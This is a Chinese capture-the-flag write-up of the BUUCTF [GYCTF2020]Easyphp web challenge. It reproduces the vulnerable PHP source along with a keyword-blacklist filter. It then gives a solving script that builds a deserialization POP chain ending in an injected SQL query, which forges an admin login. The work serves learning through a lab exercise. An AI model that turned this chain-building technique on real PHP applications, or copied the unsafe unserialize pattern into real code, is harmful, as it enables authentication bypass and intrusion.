BUUCTF-WEB [GYCTF2020]Easyphp 1

考点

代码审计

反序列化(pop链构造、字符串逃逸)

前言

这道题,对我来说确实比较难,看着wp都做好半天,第一个点就是找反序列化入口那,我看着serialize(new Info($age,$nickname)很茫然,不知道会返回什么结果,后门单独把这个Info类拿出来序列化,就找到头绪了,虽说以前做过这种类型的题,但是再次遇上还是摸不着头脑,还有利用点,还不清楚select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?这个语句的作用。后边再来做几遍。

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
session_start();
//function safe($parm){
// $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
// return str_replace($array,'hacker',$parm);
//}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
// 反序列化入口
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
echo safe(serialize(new Info($age,$nickname)));
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
// $this->nickname = Info()
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
// $this->CtrlCase =
echo "__call";
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo "__destruct";
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
echo "login";
// echo $sql;
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

// UpdateHelper::__destruct->User::__toString->Info::__call->dbCtrl::login->$result=$this->mysqli->prepare($sql);

$u1 = new UpdateHelper();

$user = new User();
$info = new Info();
$dbctrl = new dbCtrl();
$dbctrl->password = "1";
;$dbctrl->name = "admin";
$info->CtrlCase = $dbctrl;
$user->age = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$user->nickname = $info;

$u1->sql = $user;

echo serialize($u1);

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
session_start();
function safe($parm){
// 有点像字符串逃逸
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $age=null;
public $nickname=null;

}
class Info{

public $CtrlCase; // 可控

}
Class UpdateHelper{

public $sql;

}
class dbCtrl
{

public $password;

public $name;

}

$u1 = new UpdateHelper();
$user = new User();
$user->age[0] = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$info = new Info();
$dbCtrl = new dbCtrl();
$dbCtrl->name = "admin";
$dbCtrl->password = "1";
$info->CtrlCase = $dbCtrl;
$user->nickname = $info;
$u1->sql= $user;

echo serialize($u1);


// 链条:UpdateHelper::__destruct->User::__toString->Info::__call->dbCtrl::login($sql)